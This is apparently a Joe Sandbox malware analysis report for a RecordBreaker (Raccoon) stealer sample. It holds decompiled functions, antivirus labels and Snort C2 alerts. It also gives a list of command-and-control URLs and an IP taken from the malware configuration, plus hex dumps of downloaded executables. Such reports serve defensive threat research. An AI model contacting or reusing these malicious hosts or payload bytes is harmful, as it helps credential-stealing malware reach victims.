Default, xrefs: 0041509C
MS Sans Serif, xrefs: 004150AD

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CreateCriticalEnterFontIndirectSection
String ID: MS Sans Serif$Default
API String ID: 2931345757-2137701257
Opcode ID: 90adc3a352b68b8795699fc1970da3ca112b9e08fada7e13470ce830236765a9
Instruction ID: 89345100500f41431e54160c67ecd864c7a5cc10af0540e0cb881a5d1637248b
Opcode Fuzzy Hash: 90adc3a352b68b8795699fc1970da3ca112b9e08fada7e13470ce830236765a9
Instruction Fuzzy Hash: D5515D31A04648DFDB01DFA8C585BCDBBF6AF49308F6580AAD800A7352D3789E45CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041B713 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E0041B713(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edx, void* __esi) {
				void* _t23;
				signed int _t24;
				char _t27;
				char _t29;
				void* _t36;
				void* _t37;
				void* _t41;
				void* _t42;
				void* _t43;
				intOrPtr _t45;

				_t37 = __edx;
				asm("outsd");
				asm("adc dword [ebx-0x7d], 0x56");
				 *(__edx - 0x7d) =  *(__edx - 0x7d) & 0x0000004e;
				_push(0x41b7);
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *((intOrPtr*)(__eax - 0x49)) =  *((intOrPtr*)(__eax - 0x49)) + __ecx;
				_t36 = __ecx + 1;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *((intOrPtr*)(__eax + __edx)) =  *((intOrPtr*)(__eax + __edx)) + __eax;
				_t23 = __eax + 1;
				 *((intOrPtr*)(_t36 + __esi + 0x40)) =  *((intOrPtr*)(_t36 + __esi + 0x40)) + _t36;
				 *((intOrPtr*)(_t23 + 0x31)) =  *((intOrPtr*)(_t23 + 0x31)) + __ebx;
				_t24 = _t23 + 1;
				 *((intOrPtr*)(_t36 + __esi + 0x40)) =  *((intOrPtr*)(_t36 + __esi + 0x40)) + __ebx;
				 *((intOrPtr*)(_t24 + 0x74004031)) =  *((intOrPtr*)(_t24 + 0x74004031)) + _t24;
				 *_t24 =  *_t24 ^ _t24;
				asm("les ebp, [esi]");
				_t27 = _t24 + 1 + _t24 + 1 + 1;
				_t19 = _t27 + 0xf0041b7;
				 *_t19 =  *((intOrPtr*)(_t27 + 0xf0041b7)) + __edx;
				_t45 =  *_t19;
				_push(_t43);
				_push(_t27);
				asm("popad");
				if(_t45 == 0) {
					L9:
					 *0x8bc3fffe = _t27;
				} else {
					if(_t45 < 0) {
						_push(_t27);
						L00405AB4();
						goto L9;
					} else {
						_t42 = _t41 - 1;
						asm("popad");
						asm("outsb");
						asm("popad");
						asm("a16 jb 0x57");
						_push(__ebx);
						_push(__esi);
						if(__edx != 0) {
							_t43 = _t43 + 0xfffffff0;
							_t27 = E004031A8(_t27, _t42);
						}
						_t21 = _t27 + 8; // 0x8
						L00405BC4();
						_t29 = _t27;
						if(_t37 != 0) {
							E00403200(_t29);
							_pop( *[fs:0x0]);
						}
						return;
					}
				}
			}

0x0041b713
0x0041b713
0x0041b714
0x0041b718
0x0041b71c
0x0041b721
0x0041b723
0x0041b725
0x0041b727
0x0041b729
0x0041b72b
0x0041b72d
0x0041b72f
0x0041b731
0x0041b733
0x0041b735
0x0041b737
0x0041b739
0x0041b73b
0x0041b73e
0x0041b73f
0x0041b741
0x0041b743
0x0041b746
0x0041b747
0x0041b74b
0x0041b74e
0x0041b74f
0x0041b753
0x0041b759
0x0041b75c
0x0041b761
0x0041b763
0x0041b763
0x0041b763
0x0041b769
0x0041b76a
0x0041b76b
0x0041b76c
0x0041b7e2
0x0041b7e2
0x0041b76e
0x0041b76e
0x0041b7df
0x0041b7e0
0x00000000
0x0041b771
0x0041b771
0x0041b772
0x0041b773
0x0041b774
0x0041b775
0x0041b778
0x0041b779
0x0041b77c
0x0041b77e
0x0041b781
0x0041b781
0x0041b78a
0x0041b78e
0x0041b793
0x0041b797
0x0041b799
0x0041b79e
0x0041b7a5
0x0041b7ac
0x0041b7ac
0x0041b76e

APIs

RtlInitializeCriticalSection.KERNEL32(0000000A,?,00000002,?,000041B7), ref: 0041B78E
RtlEnterCriticalSection.KERNEL32(?,0041B810), ref: 0041B7E0

Strings

V, xrefs: 0041B714

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CriticalSection$EnterInitialize
String ID: V
API String ID: 2028075725-1342839628
Opcode ID: 844058d794ff09a00537315b4a59039ecf10aa6bc2063513aa9d4f83058331d7
Instruction ID: 212197bdd2c680cfc3626e4c19567046edb6b550734f8a5b413bd4816cb1ea1c
Opcode Fuzzy Hash: 844058d794ff09a00537315b4a59039ecf10aa6bc2063513aa9d4f83058331d7
Instruction Fuzzy Hash: 2421F532A4D7C14FC712DBB44D554C97FA4DA4326171802EFE4A6CF2D3D72E8542939A

Uniqueness

Uniqueness Score: -1.00%

Function 00408B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74
threadCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408B10(void* __eax, void* __ebx, intOrPtr* __edx, void* __esi, intOrPtr _a4) {
				char _v8;
				short _v18;
				short _v22;
				struct _SYSTEMTIME _v24;
				char _v280;
				char* _t32;
				intOrPtr* _t49;
				intOrPtr _t58;
				void* _t63;
				void* _t67;

				_v8 = 0;
				_t49 = __edx;
				_t63 = __eax;
				_push(_t67);
				_push(0x408bee);
				_push( *[fs:eax]);
				 *[fs:eax] = _t67 + 0xfffffeec;
				E00403C38(__edx);
				_v24 =  *((intOrPtr*)(_a4 - 0xe));
				_v22 =  *((intOrPtr*)(_a4 - 0x10));
				_v18 =  *((intOrPtr*)(_a4 - 0x12));
				if(_t63 > 2) {
					E00403CD0( &_v8, 0x408c10);
				} else {
					E00403CD0( &_v8, 0x408c04);
				}
				_t32 = E004040F8(_v8);
				if(GetDateFormatA(GetThreadLocale(), 4,  &_v24, _t32,  &_v280, 0x100) != 0) {
					E00403EA8(_t49, 0x100,  &_v280);
					if(_t63 == 1 &&  *((char*)( *_t49)) == 0x30) {
						E00404150( *_t49, E00403EF8( *_t49) - 1, 2, _t49);
					}
				}
				_pop(_t58);
				 *[fs:eax] = _t58;
				_push(E00408BF5);
				return E00403C38( &_v8);
			}

0x00408b1d
0x00408b20
0x00408b22
0x00408b26
0x00408b27
0x00408b2c
0x00408b2f
0x00408b34
0x00408b40
0x00408b4b
0x00408b56
0x00408b5d
0x00408b76
0x00408b5f
0x00408b67
0x00408b67
0x00408b8a
0x00408ba3
0x00408bb2
0x00408bb8
0x00408bd3
0x00408bd3
0x00408bb8
0x00408bda
0x00408bdd
0x00408be0
0x00408bed

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,00408BEE), ref: 00408B96
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,00408BEE), ref: 00408B9C

Strings

yyyy, xrefs: 00408B71

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: a3975cad1d92a7b5701a910dbd5c83a75807012142d36db365512852ca69d897
Instruction ID: d8291370018c7be2c3ab4437fe0d36327f91fe792ac57ed2824f539497436957
Opcode Fuzzy Hash: a3975cad1d92a7b5701a910dbd5c83a75807012142d36db365512852ca69d897
Instruction Fuzzy Hash: A521A775604208AFDB10EF58C942AAE77B8EF08300F50407AF944F77D1DA38AE00C769

Uniqueness

Uniqueness Score: -1.00%

Function 00419890 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00419890(intOrPtr __eax, void* __edx, void* __edi) {
				intOrPtr _v8;
				char _v92;
				void* __ebx;
				void* __esi;
				void* __ebp;
				void* _t41;
				void* _t43;
				intOrPtr _t52;
				intOrPtr _t57;
				void* _t59;
				void* _t60;
				void* _t61;
				void* _t64;
				void* _t66;
				intOrPtr _t67;

				_t59 = __edi;
				_t64 = _t66;
				_t67 = _t66 + 0xffffffa8;
				_push(_t60);
				_t43 = __edx;
				_v8 = __eax;
				if(__edx == 0) {
					L2:
					_push(0x43a89c);
					L00405AB4();
					_push(_t64);
					_push(0x419948);
					_push( *[fs:eax]);
					 *[fs:eax] = _t67;
					if(_t43 == 0) {
						E004029A0( &_v92, 0x54);
						E0041A24C(_v8, _t43, 0, 0, _t59, _t60, 0, 0,  &_v92);
					} else {
						_t61 = _t43;
						E00418D44( *((intOrPtr*)(_t61 + 0x28)));
						E00418D48( *((intOrPtr*)(_v8 + 0x28)));
						 *((intOrPtr*)(_v8 + 0x28)) =  *((intOrPtr*)(_t61 + 0x28));
						 *((char*)(_v8 + 0x21)) =  *((intOrPtr*)(_t61 + 0x21));
						 *((intOrPtr*)(_v8 + 0x34)) =  *((intOrPtr*)(_t61 + 0x34));
						 *((char*)(_v8 + 0x38)) =  *((intOrPtr*)(_t61 + 0x38));
					}
					_pop(_t52);
					 *[fs:eax] = _t52;
					_push(E0041994F);
					_push(0x43a89c);
					L00405BCC();
					return 0;
				} else {
					_t57 =  *0x4141dc; // 0x414228
					if(E004030B8(__edx, _t57) == 0) {
						_t41 = E00410A1C(_v8, _t43);
						return _t41;
					} else {
						goto L2;
					}
				}
			}

0x00419890
0x00419891
0x00419893
0x00419897
0x00419898
0x0041989a
0x0041989f
0x004198b6
0x004198b6
0x004198bb
0x004198c2
0x004198c3
0x004198c8
0x004198cb
0x004198d0
0x00419917
0x0041992b
0x004198d2
0x004198d2
0x004198d7
0x004198e2
0x004198ed
0x004198f6
0x004198ff
0x00419908
0x00419908
0x00419932
0x00419935
0x00419938
0x0041993d
0x00419942
0x00419947
0x004198a1
0x004198a3
0x004198b0
0x00419974
0x0041997e
0x00000000
0x00000000
0x00000000
0x004198b0

APIs

RtlEnterCriticalSection.KERNEL32(0043A89C), ref: 004198BB
RtlLeaveCriticalSection.KERNEL32(0043A89C,0041994F,00000000,00419948,?,0043A89C), ref: 00419942

Part of subcall function 0041A24C: RtlEnterCriticalSection.KERNEL32(0043A89C), ref: 0041A2EF
Part of subcall function 0041A24C: RtlLeaveCriticalSection.KERNEL32(0043A89C,0041A33A,0043A89C), ref: 0041A32D

Strings

(BA, xrefs: 004198A3

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: (BA
API String ID: 3168844106-176919243
Opcode ID: 84220f733b1a2a56cc11de1a99a8bfe9f674e5d21bb97f7e7a3ddefef68ca934
Instruction ID: c1b8ca58a11b2541329081c91327e24ada3b1bce59fca2c22279ba912a2ab322
Opcode Fuzzy Hash: 84220f733b1a2a56cc11de1a99a8bfe9f674e5d21bb97f7e7a3ddefef68ca934
Instruction Fuzzy Hash: A121C270704344AFC711DFAAC9929DEB7F9EF4D310B6041BEE80497791CA34AD81CA59

Uniqueness

Uniqueness Score: -1.00%

Function 0041B6AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0041B6AC() {
				int _t2;
				intOrPtr _t5;
				int _t8;
				signed int _t10;
				char _t11;

				_t2 =  *0x43a888; // 0x60
				 *0x4373b0 =  ~(MulDiv(8, _t2, 0x48));
				_t5 =  *0x4390d8; // 0x43a73c
				if( *((char*)(_t5 + 0xc)) != 0) {
					_t11 = E0041B668();
					_t5 = _t11 - 0x80;
					if(_t5 == 0) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t8 =  *0x43a888; // 0x60
						_t10 =  ~(MulDiv(9, _t8, 0x48));
						 *0x4373b0 = _t10;
						 *0x4373b6 = _t11;
						return _t10;
					}
				}
				return _t5;
			}

0x0041b6b1
0x0041b6c0
0x0041b6c5
0x0041b6ce
0x0041b6d5
0x0041b6d9
0x0041b6db
0x0041b6e7
0x0041b6e8
0x0041b6e9
0x0041b6ea
0x0041b6ed
0x0041b6fa
0x0041b6fc
0x0041b701
0x00000000
0x0041b701
0x0041b6db
0x0041b70a

APIs

MulDiv.KERNEL32(00000008,00000060,00000048), ref: 0041B6B9

Part of subcall function 0041B668: GetDC.USER32(00000000), ref: 0041B671
Part of subcall function 0041B668: SelectObject.GDI32(00000000,058A00B4), ref: 0041B683
Part of subcall function 0041B668: GetTextMetricsA.GDI32(00000000), ref: 0041B68E
Part of subcall function 0041B668: ReleaseDC.USER32 ref: 0041B69E

MulDiv.KERNEL32(00000009,00000060,00000048), ref: 0041B6F5

Strings

MS Sans Serif, xrefs: 0041B6E2

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: MetricsObjectReleaseSelectText
String ID: MS Sans Serif
API String ID: 2013942131-1665085520
Opcode ID: fdd4121a1b700908771c9706ebc3eca83f0bd6d192b7ac3f70d7b2b443a9c6c0
Instruction ID: 5c1453a075842766d5efa2ab45f2e02fb7c5c7cacccdd235a0f089d2baea0a71
Opcode Fuzzy Hash: fdd4121a1b700908771c9706ebc3eca83f0bd6d192b7ac3f70d7b2b443a9c6c0
Instruction Fuzzy Hash: 09F0BEA02886441ED251EBA89C41F9A3B98D787354F04503BFA48CF2D1C7A91C44C769

Uniqueness

Uniqueness Score: -1.00%

Function 0040F1B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E0040F1B4(void* __ebx, void* __esi) {
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t22;

				_push(_t22);
				_push(0x40f223);
				_push( *[fs:eax]);
				 *[fs:eax] = _t22;
				 *0x43a81c =  *0x43a81c + 1;
				if( *0x43a81c == 0) {
					E0040EE58(__ebx, __esi);
					_push(0x43a824);
					L00405AAC();
					_t17 =  *0x40ee34; // 0x40ee38
					E00404B4C(0x43a820, _t17);
					_t18 =  *0x401018; // 0x40101c
					E00404614(0x437334, 0x15, _t18);
					E00403C38(0x437328);
					E0040D854(0x43a7fc);
				}
				_pop(_t16);
				 *[fs:eax] = _t16;
				_push(E0040F22A);
				return 0;
			}

0x0040f1b9
0x0040f1ba
0x0040f1bf
0x0040f1c2
0x0040f1c5
0x0040f1cb
0x0040f1cd
0x0040f1d2
0x0040f1d7
0x0040f1e1
0x0040f1e7
0x0040f1f6
0x0040f1fc
0x0040f206
0x0040f210
0x0040f210
0x0040f217
0x0040f21a
0x0040f21d
0x00000000

APIs

Part of subcall function 0040EE58: RtlEnterCriticalSection.KERNEL32(0043A824), ref: 0040EE67
Part of subcall function 0040EE58: RtlLeaveCriticalSection.KERNEL32(0043A824,0040EEC0,0043A824), ref: 0040EEB3

RtlDeleteCriticalSection.KERNEL32(0043A824,00000000,0040F223), ref: 0040F1D7

Strings

8@, xrefs: 0040F1E1
H@, xrefs: 0040F1EC

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CriticalSection$DeleteEnterLeave
String ID: 8@$H@
API String ID: 655268472-854972804
Opcode ID: 3f5e57234a182ee0c2417953dbb46c4fc90f3fd05d5806013e36ea2f97c43074
Instruction ID: 5c252f968db7c128c7d3648a126c7b6be45d7b6deeb7ab0d77e5963fd0b1311e
Opcode Fuzzy Hash: 3f5e57234a182ee0c2417953dbb46c4fc90f3fd05d5806013e36ea2f97c43074
Instruction Fuzzy Hash: 6DF027712442405BD3247BA6EC1352A3364D7C9704B90887FF500B7AD1CB3D9C16DAAE

Uniqueness

Uniqueness Score: -1.00%

Source: 15.3.959.exe.800000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 13.2.regsvr32.exe.5090184.1.unpack	Avira: Label: TR/Kazy.4159236

Source: Traffic	Snort IDS: 2038916 ET TROJAN Win32/RecordBreaker - Observed UA M3 (TakeMyPainBack) 192.168.2.7:49703 -> 193.38.55.180:80
Source: Traffic	Snort IDS: 2036934 ET TROJAN Win32/RecordBreaker CnC Checkin M1 192.168.2.7:49703 -> 193.38.55.180:80
Source: Traffic	Snort IDS: 2036955 ET TROJAN Win32/RecordBreaker CnC Checkin - Server Response 193.38.55.180:80 -> 192.168.2.7:49703

Source: Malware configuration extractor	URLs: http://winnlinne.com/lancer/get.php
Source: Malware configuration extractor	URLs: http://193.38.55.180/
Source: Malware configuration extractor	URLs: http://hulimudulinu.net/
Source: Malware configuration extractor	URLs: http://stalnnuytyt.org/
Source: Malware configuration extractor	URLs: http://gulutina49org.org/
Source: Malware configuration extractor	URLs: http://furubujjul.net/
Source: Malware configuration extractor	URLs: http://starvestitibo.org/
Source: Malware configuration extractor	URLs: http://liubertiyyyul.net/
Source: Malware configuration extractor	URLs: http://bururutu44org.org/
Source: Malware configuration extractor	URLs: http://youyouumenia5.org/
Source: Malware configuration extractor	URLs: http://nvulukuluir.net/
Source: Malware configuration extractor	URLs: http://nuluitnulo.me/
Source: Malware configuration extractor	URLs: http://guluiiiimnstra.net/

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 03 Oct 2022 15:35:23 GMTContent-Type: application/octet-streamContent-Length: 2042296Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 14:39:48 GMTETag: "62543db4-1f29b8"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f6 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 e0 19 00 00 26 05 00 00 00 00 00 d0 01 15 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 60 1f 00 00 04 00 00 fd d1 1f 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f8 21 1d 00 5c 9d 00 00 54 bf 1d 00 40 01 00 00 00 40 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 b8 1f 00 00 00 50 1e 00 68 0a 01 00 68 fd 1c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 f0 c4 1d 00 5c 04 00 00 94 21 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 69 de 19 00 00 10 00 00 00 e0 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e4 e9 03 00 00 f0 19 00 00 ea 03 00 00 e4 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 14 4e 00 00 00 e0 1d 00 00 2a 00 00 00 ce 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 30 1e 00 00 02 00 00 00 f8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 1e 00 00 04 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0a 01 00 00 50 1e 00 00 0c 01 00 00 fe 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 03 Oct 2022 15:35:25 GMTContent-Type: application/octet-streamContent-Length: 449280Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 14:39:42 GMTETag: "62543dae-6db00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9b 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 1f 84 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 00 3f 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
